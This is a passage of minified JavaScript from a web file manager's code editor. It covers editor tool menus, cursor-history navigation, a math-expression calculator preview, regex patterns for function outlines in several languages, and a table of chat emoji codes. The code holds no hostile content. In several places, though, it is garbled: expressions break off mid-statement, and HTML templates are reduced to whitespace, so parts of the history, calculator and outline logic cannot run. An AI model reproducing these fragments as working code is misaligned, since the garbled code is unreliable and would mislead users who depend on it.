ne"}}};this.parent.menuMake("menu-view-setting",{"editor-tools":{"name":LNG["explorer.editor.tools"],"icon":"ri-tools-line","accesskey":"m","items":{"open-browser":{"name":LNG["explorer.openIE"],"icon":"ri-external-link-line","accesskey":"b"},"sep11":"---------","qrcode":{"name":LNG["explorer.editor.qrcode"],"icon":"ri-qr-code-line"},"regx":{"name":LNG["explorer.editor.regx"],"icon":"ri-terminal-window-line"},"sep110":"---------","insert-time":{"name":LNG["explorer.editor.currentTime"],"icon":"ri-timer-line"},"insert-roundString":{"name":LNG["explorer.editor.toolsRandString"],"icon":"ri-shuffle-line"},"md5":{"name":LNG["explorer.editor.md5"],"icon":"ri-key-line"}}},"code-beautify":{"name":LNG["explorer.editor.beautifyCode"],"icon":"ri-code-s-slash-line","accesskey":"m","items":{"beautify-auto":{"name":LNG["explorer.editor.beautifyCode"]+"Ctrl+Shift+F","icon":"ri-file-paper-line"},"sep101":"---------","beautify-html":{"name":"html "+LNG["explorer.editor.beautifyCode"],"icon":"ri-file-paper-line"},"beautify-css":{"name":"css "+LNG["explorer.editor.beautifyCode"],"icon":"ri-file-paper-line"},"beautify-js":{"name":"js/json "+LNG["explorer.editor.beautifyCode"],"icon":"ri-file-paper-line"}}},"textTools":t,"textEncode":i,"sep1":"---------","function-list":{"name":LNG["explorer.editor.functionList"]+"Ctrl+Shift+E","className":"function-list"},"auto-wrap":{"name":LNG["explorer.editor.wordwrap"],"className":"auto-wrap"},"auto-save":{"name":LNG["explorer.editor.autoSave"],"className":"auto-save"},"show-gutter":{"name":LNG["explorer.editor.showGutter"],"className":"show-gutter"},"display-char":{"name":LNG["explorer.editor.charAllDisplay"],"className":"display-char"},"sep2":"---------","font-family":{"name":LNG["explorer.editor.fontFamily"],"icon":"ri-text","className":"code-font-family-list","accesskey":"m","items":e},"ace-mode":{"name":LNG["explorer.editor.keyboardType"],"icon":"ri-terminal-box-line","accesskey":"m","items":{"keyboard-type-ace":{"name":"Default","className":"keyboard-type-ace"},"keyboard-type-vim":{"name":"vim","className":"keyboard-type-vim"},"keyboard-type-emacs":{"name":"emacs","className":"keyboard-type-emacs"}}},"sep3":"---------","help":{"name":LNG["explorer.editor.help"],"icon":"ri-question-line","items":{"shortcut":{"name":LNG["explorer.editor.shortcut"],"icon":"ri-keyboard-line"},"emmet":{"name":"Emmet help","icon":"ri-file-paper-line"},"learn-more":{"name":LNG["common.learnMore"],"icon":"ri-external-link-line","className":"editor-help-more"}}}})}})},function(e,t,i){"use strict";function n(e){return a.apply(this,arguments)}var a;Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){this.historyArr=[],this.historyMax=50,this.historyIndex=0,this.editorMain=this.parent.parent,this.$next=this.$("[action=historyNext]"),this.$back=this.$("[action=historyBack]"),this.bindEvent()},"bindEvent":function(){this.refresh(),Mousetrap.bind("ctrl+-",this.back),Mousetrap.bind(["ctrl+shift+-","ctrl+="],this.next),this.listenTo(this.editorMain,{"editor.change":this.historyChange})},"ignoreNearLine":5,"historyChange":function(e){e.kod.bindPosChange||(e.kod.bindPosChange=!0,e.commands.addCommand({"bindKey":{"win":"Ctrl--","mac":"Ctrl--"},"name":"editPoseBack","exec":this.back}),e.commands.addCommand({"bindKey":{"win":"Ctrl-Shift--","mac":"Ctrl-Shift--"},"name":"editPoseNext","exec":this.next}));var t=e.selection.getCursor(),i=e.selection.getAllRanges();if(!(1=this.historyMax&&(this.historyArr=this.historyArr.slice(1)),this.historyIndex=this.historyArr.length-1,this.refresh()}},"next":function(){this.historyIndex+1>this.historyArr.length-1||(this.moveToPose(this.getItem(1)),this.refresh())},"back":function(){this.historyIndex-1<0||(this.moveToPose(this.getItem(-1)),this.refresh())},"shouldAdd":function(e,t){return 0!=t.row&&(!e||e.uuid!=t.uuid||Math.abs(e.row-t.row)>=this.ignoreNearLine)},"getItem":(a=function(e){this.historyIndex+=e;var t=this.historyArr[this.historyIndex],i=this.editorMain.editorList;if(!t||this.historyIndex<0||this.historyIndex>this.historyArr.length-1)return!1;if(t&&i[t.uuid])return t;for(var n=[],a=0;a=this.historyArr.length-1?this.historyArr.length-1:this.historyIndex,this.historyIndex=this.historyIndex<=0?0:this.historyIndex,this.$next.addClass(e),this.$back.addClass(e),this.historyIndex<=0&&t<=0||(0\n\t\t\t
    \n\t\t\t
    \n\t\t\t\t\n\t\t\t\t\n\t\t\t
    \n\t\t").appendTo(this.$el),this.$preview=this.$(".cal-preview");var e=r(311);$.setStyle(e(),"editor-preview-mathCalc"),this.bindEvent(this.$preview)},"editorChange":function(){if(!this.previewShow&&!this.previewCloseForce){var e=this.editor.getValue();if(_.includes(e,"[MATH]"))return this.display(!0)}this.previewShow&&this.runMath()},"display":function(e){this.editor.kod.modeShowHide||(e?(this.initPreviewFinished||(this.initPreviewFinished=!0,this.initPreview()),this.previewShow=!0,this.previewCloseForce=!1,this.$el.addClass("cal-page"),this.runMath()):(this.previewShow=!1,this.previewCloseForce=!0,this.$el.removeClass("cal-page")))},"runMath":function(){var t=this;i["default"].getAnswer(this.editor.getValue(),function(e){t.$(".cal-preview-result").html(e)})},"bindEvent":function(t){var i=this,e="click touchend";t.bind(e,function(e){return stopPP(e)}),t.find(".cal-toolbar .remove").bind(e,function(){i.display(!1)});var n=r(312),a=i.renderHtml(n,!1,!1);t.find(".cal-toolbar .help").bind(e,function(){i.editor.insert(a)}),this.editor.session.on("changeScrollTop",function(){if(t.exists()){var e=i.editor.session.getScrollTop();t.css({"top":-e}),t.find(".cal-toolbar").css("top",10+e)}}),this.bindResize(t)},"bindResize":function(e){var t=e.parent().width();this.dragResize=e.dragResize({"orgin":"x","viewBefore":!1,"className":"cal-preview-resize","size":{"init":.4*t,"max":t-100,"min":100}},this)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var y=n(i(250)),k=n(i(8));function n(e){return e&&e.__esModule?e:{"default":e}}t["default"]=function(){for(var l,c,d={},a={"cot":function(e){return 1/Math.tan(e)},"rand":function(){return Math.random()},"sum":function C(e,t,i){var n,C=0;for(i<0&&(i=0),i=i||1,n=e;n<=t;n+=i)C+=n;return C},"_and":function(e,t){return 1==e&&1==t?1:0},"_or":function(e,t){return 1==e||1==t?1:0},"_not":function(e){return 1==e?0:1},"_bigger":function(e,t){return t{2,3}|<<)/,"parse":function(e){return new d[e]}},"factorial":{"matchReg":/^(!)/,"appendExpress":!0,"parse":function(e){return new d[e]}},"deg":{"matchReg":/^(deg)[\s\+\-\*\/\)]|$/,"appendExpress":!0,"parse":function(e){return new d[e]}},"bracket":{"matchReg":/^(\(|\))/,"parse":function(e){return new d[e]}},"hex":{"matchReg":/^(0x[0-9a-f]+)/,"parse":function(e){var t=new d["(literal)"];return t.value=parseInt(e),t}},"bin":{"matchReg":/^(0b[01]+)/,"parse":function(e){}},"float":{"matchReg":/^(\d*\.\d+(e\d+)*)/,"parse":function(e){var t=new d["(literal)"];return t.value=parseFloat(e),t}},"integer":{"matchReg":/^(\d+)/,"parse":function(e){var t=new d["(literal)"];return t.value=parseInt(e),t}},"name":{"matchReg":/^([a-zA-Z0-9_$\u4e00-\u9fa5]+)/,"parse":function(e,t){var i;return"object"==(void 0===t?"undefined":(0,k["default"])(t))&&"number"==typeof t[e]?(i=new d["(literal)"]).value=t[e]:n.hasOwnProperty(e.toUpperCase())?(i=new d["(literal)"]).value=n[e.toUpperCase()]:(i=new d["(name)"]).value=e,i}}};i("(literal)").prototype.nud=function(){return this},i("(name)").prototype.nud=function(){return this},i("<<",100),i(">>",100),i(">>>",100),i("+",110),i("-",110),i("*",120),i("/",120),i("%",120),i("!",130),i("deg",130),i("^",130),i("(",150),i(")"),i(","),i("(end)"),d["("].prototype.nud=function(){var e=h(0);return f(")"),e},d["("].prototype.led=function(e){if(this.first=e,this.second=[],")"!=l.id)for(;this.second.push(h(0)),","==l.id;)f(",");return f(")"),this},r("<<",100),r(">>",100),r(">>>",100),r("+",110),r("-",110),r("*",120),r("/",120),r("%",120),r("!",140),r("deg",140),function D(e,t){var i=d[e];i&&(i.prototype.led=function(e){return this.first=e,this.second=h(t-1),this})}("^",140),o("+",130),o("-",130),s("(literal)",function(){return this.value}),s("+",function(){return this.second!=undefined?this.first.val()+this.second.val():this.first.val()}),s("-",function(){return this.second!=undefined?this.first.val()-this.second.val():-this.first.val()});s("!",function(){var e=this.first.val();if("number"==typeof e&&0>",function(){return this.first.val()>>this.second.val()}),s(">>>",function(){return this.first.val()>>>this.second.val()}),s("(",function(){var e=a[this.first.value],t=[];if(!(e instanceof Function))throw new Error("Unknown function %1.".replace(this.first.value));for(var i=0,n=this.second.length;i[Function]":"string"==typeof t?t:t!=undefined&&null!=t?(0,y["default"])(t):" ",x&&x[e]===r[e]||(i=''+i+""),n.push("
  • "+i+"
  • ")}),x=r,t(n.join(""))})}},b=function b(e,t){try{return function s(e,t){var i,n,a,r,o=e.indexOf("=");for(-1!=o&&(e=e.substr(o+1)),e+=" ",c=[],0;0No outline for the active view'},"bindEvent":function(e){var t=this;this.$search.bind("keydown",_.bind(this.searchKeyDown,this)),this.$(".tool-close").bind("click",function(){t.display(!1)}),this.$(".search-reset").bind("click",function(){t.$search.val(""),t.searchChange(),t.editorMain.focus()});var i=this.$listBox;i.bind("mousedown",function(e){if(1!=e.which)return!0;this.setCapture&&this.setCapture();$(document).one("mouseup",function(e){i.removeClass("mouseIsDown"),i.releaseCapture&&i.releaseCapture()})}),i.bind("mouseup",function(){t.$search.focusPose()}).delegate(".list-row","mouseover mousedown mouseout mouseup",function(e){t.listMouseEvent(e,$(this))}),this.listenTo(this.preview,"editor.change",this.editorChange)},"support":function(){var e=this.editor.kod.mode;if(!this.editor.kod.modeShowHide)return _.includes(_.keys(h["default"]),e)},"editorChange":function(){this.previewShow&&this.reloadList()},"display":function(e){if(e&&!this.support())return Tips.tips(LNG["explorer.errorFunctionTips"],"warning");if(e){this.initPreviewFinished||(this.initPreviewFinished=!0,this.initPreview());var t="1"==this.editorMain.editorConfig.functionList;if(this.previewShow)return t&&this.editorMain.saveConfig("functionList",0),this.display(!1);t||this.editorMain.saveConfig("functionList",1),this.preview.display(!0,this.displayWidth(),this),this.editorChange()}else this.preview.display(!1,!1,this)},"searchKeyDown":function(e){var t=this.$(".row-select");switch(e.keyCode){case 37:case 39:break;case 38:0!=t.prev().length&&(this.selectFunction(t.prev()),this.selectIntoView()),stopPP(e);break;case 40:0!=t.next().length&&(this.selectFunction(t.next()),this.selectIntoView()),stopPP(e);break;case 27:this.selectFunction(t),this.$search.val(""),this.searchChange(),this.editorMain.focus(),stopPP(e);break;case 13:this.editorMain.focus(),stopPP(e);break;default:this.searchChange()}},"listMouseEvent":function(e,t){var i=this.$listBox,n="mouseIsDown";switch(e.type){case"mouseover":i.hasClass(n)?this.selectFunction(t):t.addClass("row-hover");break;case"mousedown":this.selectFunction(t),i.addClass(n);break;case"mouseout":t.removeClass("row-hover");break;case"mouseup":i.removeClass(n)}},"reloadList":function(){var e=this.editor,t=function t(e){return _.trim(e).replace(/(\{$)/,"")},i=this.listMake(e.getValue(),e.kod.mode);if(!_.isArray(i)||0==i.length)return this.$listBox.html(this.listEmpty);var n=e.getCursorPosition().row;this.listHtml="";for(var a=0;a=o.start.row&&i[a+1].range&&n=o.start.row&&(r.type+=" row-select");var s=o.start.row+","+o.start.column+","+o.end.row+","+o.end.column,l=t(t(r.theMatch)).substr(0,150);this.listHtml+='\n\t\t\t\t
    \n\t\t\t\t\t\n\t\t\t\t\t'+this.outStr(r.name)+"\n\t\t\t\t
    "}}this.selectIntoView(),this.functionSearch(!0)},"functionSearch":function(e){var i=this.$search.val();if(this.listHtml){if(!i||""==i)return this.$listBox.html(this.listHtml),void this.selectIntoView();var t=$("
    "+this.listHtml+"
    ");t.find(".cell").each(function(){var e=$(this).text(),t=e.toLowerCase().indexOf(i.toLowerCase());-1!=t?(e=e.substr(0,t)+""+e.substr(t,i.length)+""+e.substr(t+i.length),$(this).html(e)):$(this).parent().remove()}),this.$listBox.html(t.html()),e||this.selectFunction($(this.$listBox.find(".list-row").get(0)))}else this.$listBox.html(this.listEmpty)},"selectFunction":function(e){if(1==e.length){this.$listBox.find(".list-row").removeClass("row-select"),e.addClass("row-select");var t=e.attr("data-range").split(","),i={"start":{"row":parseInt(t[0]),"column":parseInt(t[1])},"end":{"row":parseInt(t[2]),"column":parseInt(t[3])}};this.editor.revealRange(i),this.$search.focusPose()}},"selectIntoView":function(){var e=this.$listBox;if(e.outerHeight()!=e.prop("scrollHeight")){var t=e.scrollTop(),i=t+e.height(),n=e.find(".row-select").index(),a=e.find(".list-row:eq(0)").outerHeight(),r=e.scrollTop();n*a=c&&l.posStart<=c+o[d].length;)n[s].range={"start":{"row":d,"column":l.posStart-c},"end":{"row":d,"column":l.posEnd-c}},l=n[++s];c=c+o[d].length+1}return n}},"regExec":function(e,t){var i=e.match(t.reg);if(i){for(var n=[],a=i.length,r=0,o=e,s=0;s/gi,">")}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]={"php":[{"reg":/\n.*?\s*function\s+([_\w]+)\s*\(.*\)*/g,"regName":/.*function\s+(.*\))/,"regIndex":1,"typeExtents":{"function-value":/\s*(private|protected)\s*/,"function-var":/\s*(public)\s*/},"type":"function"},{"reg":/\s*class\s+(\w*)\s*.*\{/g,"regName":/\s*class\s+(\w*)\s*.*\{/,"regIndex":1,"type":"class"}],"javascript":[{"reg":/\s*([\$\w'"\[\]\.]+)\s*=\s*function\s*\([\w,\s\*\[\]\<\>&$]*\)\s*\{/g,"regName":/\s*([\$\w'"\[\]\.]+)\s*=\s*function\s*(.*)/,"regIndex":1,"regNameAll":[1,2],"type":"function function-var"},{"reg":/\s*function[\*\s]+([\w\s]+)\s*\([\w,\s\*\[\]\<\>&$]*\)\s*\{/g,"regName":/\s*function[\*\s]+([\w\s]+)\s*(.*)/,"regIndex":1,"regNameAll":[1,2],"type":"function function-define"},{"reg":/\s*([\w\.]+)\s*:\s*function\s*\([\w,\s\*\[\]\<\>&$]*\)\s*\{/g,"regName":/\s*([\w\.]+)\s*:\s*function\s*(\([\w,\s\*\[\]\<\>&$]*\))/,"regIndex":1,"regNameAll":[1,2],"type":"function function-value"}],"python":[{"reg":/\s*class\s+(\w+)\s*\(/g,"regName":/\s*class\s+(\w+)\s*\(/,"regIndex":1,"type":"class"},{"reg":/\s*def\s+(\w+)\s*\(.*\)/g,"regName":/\s*def\s+(\w+)\s*\(.*\)/,"regIndex":1,"type":"function"}],"ruby":[{"reg":/\s*class\s+(\w+)\s*/g,"regName":/\s*class\s+(\w+)\s*/,"regIndex":1,"type":"class"},{"reg":/\s*def\s+(\w+)\s*/g,"regName":/\s*def\s+(\w+)\s*/,"regIndex":1,"type":"function"}],"golang":[{"reg":/\s*class\s+(\w+)\s*/g,"regName":/\s*class\s+(\w+)\s*/,"regIndex":1,"type":"class"},{"reg":/\s*func\s+(\w+)\s*.*\{/g,"regName":/\s*func\s+(\w+)\s*/,"regIndex":1,"type":"function"}],"java":[{"reg":/\s*(final)?\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*\{/g,"regName":/\s*(final)?\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*\{/,"regIndex":3,"type":"function"},{"reg":/\s*class\s+(\w+)\s*/g,"regName":/\s*class\s+(\w+)\s*/,"regIndex":1,"type":"class"}],"csharp":[{"reg":/\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*/g,"regName":/\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*/,"regIndex":2,"type":"function"},{"reg":/\s*class\s+(\w+)\s*/g,"regName":/\s*class\s+(\w+)\s*/,"regIndex":1,"type":"class"}],"actionscript":[{"reg":/\s*function\s*(\w+)\s*\(.*\).*\s*\{/g,"regName":/\s*function\s*(\w+)\s*\(.*\).*\s*\{/,"regIndex":1,"type":"function"},{"reg":/\s*class\s+(\w+)\s*.*\{/g,"regName":/\s*class\s+(\w+)\s*.*\{/,"regIndex":1,"type":"class"}],"objectivec":[{"reg":/[\+-]\s*\(.*\)\s*(\w+)\s*\:\s*\(.*/g,"regName":/[\+-]\s*\(.*\)\s*(\w+)\s*\:\s*\(.*/,"regIndex":1,"type":"function"},{"reg":/[\+-]\s*\([^:\{\}]*\)\s*(\w*)\s*\{/g,"regName":/[\+-]\s*\([^:\{\}]*\)\s*(\w*)\s*\{/,"regIndex":1,"type":"function"},{"reg":/@implementation\s+(\w*)/g,"regName":/@implementation\s+(\w*)/,"regIndex":1,"type":"class"},{"reg":/#pragma\s+(mark\s+)?(.*)/g,"regName":/#pragma\s+(mark\s+)?(.*)/,"regIndex":2,"type":"mark"}],"c_cpp":[{"reg":/([\w*]+\s+)+\*?(\w+)\s*\([\w\s\n\*\/\<\>\[\]\.&,:-]*\)\s*\{/g,"regName":/\s+(\w+)\s*\(/,"regIndex":1,"type":"function"},{"reg":/\s*(\w+)::~?(\w+)\s*\([\w\s\n\*\/\<\>\[\]\.&,:-]*\)\s*\{/g,"regName":/\s*(\w+)::~?(\w+)\s*\(/,"regIndex":2,"type":"function function-define"},{"reg":/\s*class\s+(\w+)\s*:/g,"regName":/\s*class\s+(\w+)\s*:/,"regIndex":1,"type":"class"}]}},function(e,t,i){"use strict";var a=i(0);e.exports=function(e){e=e||{};var t="",i=a.$escape,n=e.LNG;return t+='',e,!1);this.$panel=$(t).insertAfter(this.$emojiBtn)},"display":function(e){var t=this;if(e){this.$emojiBtn.addClass("panel-open"),this.$panel.removeClass("hidden"),this.$panel.fadeIn(150),this.displayFirst||(this.displayFirst=!0,this.$panel.find(".perfectScroll").perfectScroll(),this.$panel.find(".tab-item").first().click());var i=_.extend({"of":this.$emojiBtn,"at":"left bottom","my":"left top","collision":"flip"},this.positionAt);this.$panel.position(i)}else this.$emojiBtn.removeClass("panel-open"),this.$panel.fadeOut(150,function(){t.$panel&&t.$panel.addClass("hidden")})},"bindEvent":function(){var a=this;this.$emojiBtn.bind("click",function(){var e=a.$panel.hasClass("hidden");a.display(e)});var r=function r(e){if(!$.targetParent(e,a.$emojiBtn)){var t=$.targetParent(e,".emoji-panel"),i=a.$emojiBtn.parent().find(".emoji-panel");if(t&&t.is(i)){var n=$.targetParent(e,".item-face");n&&(a.display(!1),a.parent.insertText(n.attr("data-text")))}else a.display(!1)}};$(document).bind("click",r),this.bind("onRemove",function(){$(document).unbind("click",r)})}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){this.type="qq",this.name=LNG["common.faceDefault"]},"htmlPanel":function(){return this.makeHtmlPanel()},"toText":function(e){return e},"toHtml":function(e){return this.parseToHtml(e)},"faceArr":[{"id":"1_smile","cn":"微笑","hk":"微笑","us":"Smile","code":"/::)","web_code":"/微笑"},{"id":"2_grimace","cn":"撇嘴","hk":"撇嘴","us":"Grimace","code":"/::~","web_code":"/撇嘴"},{"id":"3_drool","cn":"色","hk":"色","us":"Drool","code":"/::B","web_code":"/色"},{"id":"4_scowl","cn":"发呆","hk":"發呆","us":"Scowl","code":"/::|","web_code":"/发呆"},{"id":"5_coolguy","cn":"得意","hk":"得意","us":"CoolGuy","code":"/:8-)","web_code":"/得意"},{"id":"6_sob","cn":"流泪","hk":"流淚","us":"Sob","code":"/::<","web_code":"/流泪"},{"id":"7_shy","cn":"害羞","hk":"害羞","us":"Shy","code":"/::$","web_code":"/害羞"},{"id":"8_silent","cn":"闭嘴","hk":"閉嘴","us":"Silent","code":"/::X","web_code":"/闭嘴"},{"id":"9_sleep","cn":"睡","hk":"睡","us":"Sleep","code":"/::Z","web_code":"/睡"},{"id":"10_cry","cn":"大哭","hk":"大哭","us":"Cry","code":"/::'(","web_code":"/大哭"},{"id":"11_awkward","cn":"尴尬","hk":"尷尬","us":"Awkward","code":"/::-|","web_code":"/尴尬"},{"id":"12_angry","cn":"发怒","hk":"發怒","us":"Angry","code":"/::@","web_code":"/发怒"},{"id":"13_tongue","cn":"调皮","hk":"調皮","us":"Tongue","code":"/::P","web_code":"/调皮"},{"id":"14_grin","cn":"呲牙","hk":"呲牙","us":"Grin","code":"/::D","web_code":"/呲牙"},{"id":"15_surprise","cn":"惊讶","hk":"驚訝","us":"Surprise","code":"/::O","web_code":"/惊讶"},{"id":"16_frown","cn":"难过","hk":"難過","us":"Frown","code":"/::(","web_code":"/难过"},{"id":"17_ruthless","cn":"酷","hk":"酷","us":"Ruthless","code":"/::+","web_code":"/酷"},{"id":"18_blush","cn":"冷汗","hk":"冷汗","us":"Blush","code":"/:--b","web_code":"/冷汗"},{"id":"19_scream","cn":"抓狂","hk":"抓狂","us":"Scream","code":"/::Q","web_code":"/抓狂"},{"id":"20_puke","cn":"吐","hk":"吐","us":"Puke","code":"/::T","web_code":"/吐"},{"id":"21_chuckle","cn":"偷笑","hk":"偷笑","us":"Chuckle","code":"/:,@P","web_code":"/偷笑"},{"id":"22_joyful","cn":"愉快","hk":"愉快","us":"Joyful","code":"/:,@-D","web_code":"/可爱"},{"id":"23_slight","cn":"白眼","hk":"白眼","us":"Slight","code":"/::d","web_code":"/白眼"},{"id":"24_smug","cn":"傲慢","hk":"傲慢","us":"Smug","code":"/:,@o","web_code":"/傲慢"},{"id":"25_hungry","cn":"饥饿","hk":"饑餓","us":"Hungry","code":"/::g","web_code":"/饥饿"},{"id":"26_drowsy","cn":"困","hk":"累","us":"Drowsy","code":"/:|-)","web_code":"/困"},{"id":"27_panic","cn":"惊恐","hk":"驚恐","us":"Panic","code":"/::!","web_code":"/惊恐"},{"id":"28_sweat","cn":"流汗","hk":"流汗","us":"Sweat","code":"/::L","web_code":"/流汗"},{"id":"29_laugh","cn":"憨笑","hk":"大笑","us":"Laugh","code":"/::>","web_code":"/憨笑"},{"id":"30_commando","cn":"悠闲","hk":"悠閑","us":"Commando","code":"/::,@","web_code":"/大兵"},{"id":"31_determined","cn":"奋斗","hk":"奮鬥","us":"Determined","code":"/:,@f","web_code":"/奋斗"},{"id":"32_scold","cn":"咒骂","hk":"咒罵","us":"Scold","code":"/::-S","web_code":"/咒骂"},{"id":"33_shocked","cn":"疑问","hk":"疑問","us":"Shocked","code":"/:?","web_code":"/疑问"},{"id":"34_shhh","cn":"嘘","hk":"噓","us":"Shhh","code":"/:,@x","web_code":"/嘘"},{"id":"35_dizzy","cn":"晕","hk":"暈","us":"Dizzy","code":"/:,@@","web_code":"/晕"},{"id":"36_tormented","cn":"疯了","hk":"瘋了","us":"Tormented","code":"/::8","web_code":"/折磨"},{"id":"37_toasted","cn":"衰","hk":"衰","us":"Toasted","code":"/:,@!","web_code":"/衰"},{"id":"38_skull","cn":"骷髅","hk":"骷髏頭","us":"Skull","code":"/:!!!","web_code":"/骷髅"},{"id":"39_hammer","cn":"敲打","hk":"敲打","us":"Hammer","code":"/:xx","web_code":"/敲打"},{"id":"40_wave","cn":"再见","hk":"再見","us":"Wave","code":"/:bye","web_code":"/再见"},{"id":"41_speechless","cn":"擦汗","hk":"擦汗","us":"Speechless","code":"/:wipe","web_code":"/擦汗"},{"id":"42_nosepick","cn":"抠鼻","hk":"摳鼻","us":"NosePick","code":"/:dig","web_code":"/抠鼻"},{"id":"43_clap","cn":"鼓掌","hk":"鼓掌","us":"Clap","code":"/:handclap","web_code":"/鼓掌"},{"id":"44_shame","cn":"糗大了","hk":"羞辱","us":"Shame","code":"/:&-(","web_code":"/糗大了"},{"id":"45_trick","cn":"坏笑","hk":"壞笑","us":"Trick","code":"/:B-)","web_code":"/坏笑"},{"id":"46_bah-l","cn":"左哼哼","hk":"左哼哼","us":"Bah!L","code":"/:<@","web_code":"/左哼哼"},{"id":"47_bah-r","cn":"右哼哼","hk":"右哼哼","us":"Bah!R","code":"/:@>","web_code":"/右哼哼"},{"id":"48_yawn","cn":"哈欠","hk":"哈欠","us":"Yawn","code":"/::-O","web_code":"/哈欠"},{"id":"49_pooh-pooh","cn":"鄙视","hk":"鄙視","us":"Pooh-pooh","code":"/:>-|","web_code":"/鄙视"},{"id":"50_shrunken","cn":"委屈","hk":"委屈","us":"Shrunken","code":"/:P-(","web_code":"/委屈"},{"id":"51_tearingup","cn":"快哭了","hk":"快哭了","us":"TearingUp","code":"/::'|","web_code":"/快哭了"},{"id":"52_sly","cn":"阴险","hk":"陰險","us":"Sly","code":"/:X-)","web_code":"/阴险"},{"id":"53_kiss","cn":"亲亲","hk":"親親","us":"Kiss","code":"/::*","web_code":"/亲亲"},{"id":"54_wrath","cn":"吓","hk":"嚇","us":"Wrath","code":"/:@x","web_code":"/吓"},{"id":"55_whimper","cn":"可怜","hk":"可憐","us":"Whimper","code":"/:8*","web_code":"/可怜"},{"id":"56_cleaver","cn":"菜刀","hk":"菜刀","us":"Cleaver","code":"/:pd","web_code":"/菜刀"},{"id":"57_watermelon","cn":"西瓜","hk":"西瓜","us":"Watermelon","code":"/:","web_code":"/西瓜"},{"id":"58_beer","cn":"啤酒","hk":"啤酒","us":"Beer","code":"/:beer","web_code":"/啤酒"},{"id":"59_basketball","cn":"篮球","hk":"籃球","us":"Basketball","code":"/:basketb","web_code":"/篮球"},{"id":"60_pingpong","cn":"乒乓","hk":"乒乓","us":"PingPong","code":"/:oo","web_code":"/乒乓"},{"id":"61_coffee","cn":"咖啡","hk":"咖啡","us":"Coffee","code":"/:coffee","web_code":"/咖啡"},{"id":"62_rice","cn":"饭","hk":"飯","us":"Rice","code":"/:eat","web_code":"/饭"},{"id":"63_pig","cn":"猪头","hk":"豬頭","us":"Pig","code":"/:pig","web_code":"/猪头"},{"id":"64_rose","cn":"玫瑰","hk":"玫瑰","us":"Rose","code":"/:rose","web_code":"/玫瑰"},{"id":"65_fade","cn":"凋谢","hk":"枯萎","us":"Wilt","code":"/:fade","web_code":"/凋谢"},{"id":"66_lips","cn":"嘴唇","hk":"嘴唇","us":"Lips","code":"/:showlove","web_code":"/示爱"},{"id":"67_heart","cn":"爱心","hk":"愛心","us":"Heart","code":"/:heart","web_code":"/爱心"},{"id":"68_brokenheart","cn":"心碎","hk":"心碎","us":"BrokenHeart","code":"/:break","web_code":"/心碎"},{"id":"69_cake","cn":"蛋糕","hk":"蛋糕","us":"Cake","code":"/:cake","web_code":"/蛋糕"},{"id":"70_lightning","cn":"闪电","hk":"閃電","us":"Lightning","code":"/:li","web_code":"/闪电"},{"id":"71_bomb","cn":"炸弹","hk":"炸彈","us":"Bomb","code":"/:bome","web_code":"/炸弹"},{"id":"72_dagger","cn":"刀","hk":"刀","us":"Dagger","code":"/:kn","web_code":"/刀"},{"id":"73_soccer","cn":"足球","hk":"足球","us":"Soccer","code":"/:footb","web_code":"/足球"},{"id":"74_ladybug","cn":"瓢虫","hk":"甲蟲","us":"Ladybug","code":"/:ladybug","web_code":"/瓢虫"},{"id":"75_poop","cn":"便便","hk":"便便","us":"Poop","code":"/:shit","web_code":"/便便"},{"id":"76_moon","cn":"月亮","hk":"月亮","us":"Moon","code":"/:moon","web_code":"/月亮"},{"id":"77_sun","cn":"太阳","hk":"太陽","us":"Sun","code":"/:sun","web_code":"/太阳"},{"id":"78_gift","cn":"礼物","hk":"禮物","us":"Gift","code":"/:gift","web_code":"/礼物"},{"id":"79_hug","cn":"拥抱","hk":"擁抱","us":"Hug","code":"/:hug","web_code":"/拥抱"},{"id":"80_thumbsup","cn":"强","hk":"強","us":"ThumbsUp","code":"/:strong","web_code":"/强"},{"id":"81_thumbsdown","cn":"弱","hk":"弱","us":"ThumbsDown","code":"/:weak","web_code":"/弱"},{"id":"82_shake","cn":"握手","hk":"握手","us":"Shake","code":"/:share","web_code":"/握手"},{"id":"83_peace","cn":"胜利","hk":"勝利","us":"Peace","code":"/:v","web_code":"/胜利"},{"id":"84_fight","cn":"抱拳","hk":"抱拳","us":"Fight","code":"/:@)","web_code":"/抱拳"},{"id":"85_beckon","cn":"勾引","hk":"勾引","us":"Beckon","code":"/:jj","web_code":"/勾引"},{"id":"86_fist","cn":"拳头","hk":"拳頭","us":"Fist","code":"/:@@","web_code":"/拳头"},{"id":"87_pinky","cn":"差劲","hk":"差勁","us":"Pinky","code":"/:bad","web_code":"/差劲"},{"id":"88_rockon","cn":"爱你","hk":"愛你","us":"RockOn","code":"/:lvu","web_code":"/爱你"},{"id":"89_nuh-uh","cn":"NO","hk":"NO","us":"Nuh-uh","code":"/:no","web_code":"/NO"},{"id":"90_ok","cn":"OK","hk":"OK","us":"OK","code":"/:ok","web_code":"/OK"},{"id":"91_inlove","cn":"爱情","hk":"愛情","us":"InLove","code":"/:love","web_code":"/爱情"},{"id":"92_blowkiss","cn":"飞吻","hk":"飛吻","us":"Blowkiss","code":"/:","web_code":"/飞吻"},{"id":"93_waddle","cn":"跳跳","hk":"跳跳","us":"Waddle","code":"/:jump","web_code":"/跳跳"},{"id":"94_tremble","cn":"发抖","hk":"發抖","us":"Tremble","code":"/:shake","web_code":"/发抖"},{"id":"95_aaagh","cn":"怄火","hk":"噴火","us":"Aaagh!","code":"/:","web_code":"/呕火"},{"id":"96_twirl","cn":"转圈","hk":"轉圈","us":"Twirl","code":"/:circle","web_code":"/转圈"},{"id":"97_kotow","cn":"磕头","hk":"磕頭","us":"Kotow","code":"/:kotow","web_code":"/磕头"},{"id":"98_dramatic","cn":"回头","hk":"回頭","us":"Dramatic","code":"/:turn","web_code":"/回头"},{"id":"99_jumprope","cn":"跳绳","hk":"跳繩","us":"JumpRope","code":"/:skip","web_code":"/跳绳"},{"id":"100_surrender","cn":"投降","hk":"投降","us":"Surrender","code":"/:oY","web_code":"/挥手"},{"id":"101_hooray","cn":"激动","hk":"激動","us":"Hooray","code":"/:#-0","web_code":"/激动"},{"id":"102_meditate","cn":"乱舞